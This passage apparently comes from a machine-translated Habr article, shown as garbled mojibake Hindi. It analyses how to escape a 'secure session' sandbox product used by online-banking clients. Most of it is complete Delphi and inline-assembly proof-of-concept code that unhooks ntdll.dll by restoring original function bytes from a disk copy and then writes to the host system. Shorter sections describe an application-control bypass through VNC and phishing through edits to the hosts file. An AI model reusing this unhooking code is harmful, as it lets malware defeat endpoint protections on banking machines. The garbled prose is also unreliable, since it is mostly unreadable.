рдЕрдкрд╡рд╛рдж рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ), рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ntdll.dll, рдкрдврд╝рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ 10-15 рдмрд╛рдЗрдЯреНрд╕ рдФрд░ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд░реАрдб рдмрдлрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░реЗрдВ (рдЬрд┐рд╕ рдкрд░ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдХреВрдж, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ZwLoadDriver) рд╕реНрдерд┐рдд рд╣реИред рдПрдХ рддрдХрдиреАрдХ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рд╕реЗ рд╕реАрдзреЗ рд╣реЛрд╕реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ files \ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЛрдб рдЬреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдореВрд▓ рдХреЛрдб рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдХреЗ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рддрдХрдиреАрдХ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ:

 unit notepad; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, ShlObj; type TForm1 = class(TForm) Memo1: TMemo; BitBtn1: TBitBtn; procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; Dst: array[1..12] of byte; implementation {$R *.dfm} function GetSpecialPath(CSIDL: word): string; var s: string; begin SetLength(s, MAX_PATH); if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true) then s := GetSpecialPath(CSIDL_APPDATA); result := PChar(s); end; procedure memcpy; asm push ebp mov ebp, esp push ebx push esi push edi cmp [ebp+8], 0 jz @loc_416538 cmp [ebp+$0C], 0 jz @loc_416538 cmp [ebp+$10], 0 jg @loc_41653C @loc_416538: xor eax, eax jmp @loc_41654B @loc_41653C: pusha mov esi, [ebp+$0C] mov edi, [ebp+$08] mov ecx, [ebp+$10] rep movsb popa xor eax, eax @loc_41654B: pop edi pop esi pop ebx pop ebp retn end; procedure resolve_APIs_from_dll_images(mapped_ntdll_base: pointer; dllname: string); var var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD; begin asm pushad mov eax, [mapped_ntdll_base] mov ecx, [eax+3Ch] mov edx, [mapped_ntdll_base] lea eax, [edx+ecx+18h] mov [var_10], eax mov ecx, [var_10] mov edx, [mapped_ntdll_base] add edx, [ecx+60h] mov [var_4], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+1Ch] mov [var_8], ecx mov ecx, [var_4] mov edx, [mapped_ntdll_base] add edx, [ecx+20h] mov [var_20], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+24h] mov [var_2C], ec push dllname call LoadLibrary mov [var_28], eax cmp [var_28], 0 jne @loc_41D111 jmp @ending @loc_41D111: mov [var_24], 0 jmp @loc_41D135 @loc_41D11A: mov eax, [var_24] add eax, 1 mov [var_24], eax mov ecx, [var_20] add ecx, 4 mov [var_20], ecx mov edx, [var_2C] add edx, 2 mov [var_2C], edx @loc_41D135: mov eax, [var_4] mov ecx, [var_24] cmp ecx, [eax+18h] jnb @ending mov ecx, [var_24] mov edx, [var_20] mov eax, [mapped_ntdll_base] add eax, [edx] mov ecx, [var_24] mov edx, [var_8] mov eax, [var_28] add eax, [edx+ecx*4] mov [var_3C], eax mov ecx, [var_24] mov edx, [var_8] mov eax, [mapped_ntdll_base] add eax, [edx+ecx*4] mov [Src], eax push 0Ah mov ecx, [Src] push ecx lea edx, [Dst] push edx call memcpy add esp, 0Ch lea eax, [old] push eax push PAGE_EXECUTE_READWRITE push $0A mov eax, [var_3C] push eax call VirtualProtect push 0Ah lea ecx, [Dst] push ecx mov eax, [var_3C] push eax call memcpy add esp, 0Ch jmp @loc_41D11A @ending: popad end; end; function UnHook(dllname: string): boolean; var size: DWORD; MapHandle: THandle; FileHandle: THandle; dll, filename: string; LogFileStartOffset: pointer; Begin dll := SystemDir + '\' + dllname; filename := GetSpecialPath(CSIDL_APPDATA) + '\' + dllname; result := CopyFile(PChar(dll), PChar(filename), false); if result then begin FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); If FileHandle <> INVALID_HANDLE_VALUE then Try MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil); If MapHandle <> 0 then Try LogFileStartOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0); If LogFileStartOffset <> nil then Try size := GetFileSize(FileHandle, nil); resolve_APIs_from_dll_images(LogFileStartOffset, dllname); Finally UnmapViewOfFile(LogFileStartOffset); End; Finally // CloseHandle(MapHandle); End; Finally // CloseHandle(FileHandle); End; DeleteFile(filename); end; End; procedure write2file(filename, s: string); var f: textfile; begin assignfile(f, filename); rewrite(f); writeln(f, s); closefile(f); end; procedure TForm1.FormCreate(Sender: TObject); var a: PChar; begin a := 'ntdll.dll'; UnHook(a); write2file('c:\users\Administrator\Desktop\POC.txt', 'Now we writing to host OS'); end; 


ABRA GO рдЖрдкрдХреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ RDP, vnc рдХреНрд▓рд╛рдЗрдВрдЯ рдпрд╛ vnc рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред TightVNC RFB рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирд┐рдпрдВрддреНрд░рдг рдмрд╛рдИрдкрд╛рд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ VNC рд╕рд░реНрд╡рд░ рдХреЛ рд╢реБрд░реВ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рд░реНрд╡рд░ рдХрдиреЗрдХреНрд╢рди рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрдиреЗрдХреНрд╢рди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред

рдХреНрд▓рд╛рдЗрдВрдЯ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣реЛрд╕реНрдЯ рдУрдПрд╕ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рдкрддрд╛ 127.0.0.1 9900 рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИ), рд▓реЗрдХрд┐рди рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИ (рд╕рд╛рде рд╣реА рд╕рд╛рде рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдХреЗ рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдХреЛ рджреЗрдЦрдиреЗ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рднреА)ред

рдлрд┐рд╢рд┐рдВрдЧ рдЕрдЯреИрдХ

рд╣реЛрд╕реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЗ etc \ рдореЗрдЬрдмрд╛рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╣рдорд▓реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рдкрд░рд┐рд╡рд░реНрддрди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрд░ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред


рдЕрдВрдЬреАрд░ред 10 - рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдПрдХ рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╣рдорд▓реЗ рдХрд╛ рдЖрдпреЛрдЬрди: рдЬрдм рдЖрдк habrahabr.ru рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЦреЛрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ рдФрд░ рдЦреБрд▓рддрд╛ рд╣реИ - рдЦреЛрдЬ рдЗрдВрдЬрди рдкреГрд╖реНрда yandex.ru

рдкрд░рд┐рдгрд╛рдо


рдЖрдзреБрдирд┐рдХ рд▓реЛрдЧреЛрдВ рд╕рд╣рд┐рдд рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ, рдЙрдирдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдПрдХ рдЙрджреНрджреЗрд╢реНрдп рдореВрд▓реНрдпрд╛рдВрдХрди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЖрд░рдмреАрдПрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдмреИрдВрдХреЛрдВ рдХреА рд╕рд▓рд╛рд╣ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдврд╝рд╛рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрд╛рдЯрдиреЗ рд╕реЗ рджреВрд░ред

Source: https://habr.com/ru/post/In146954/


All Articles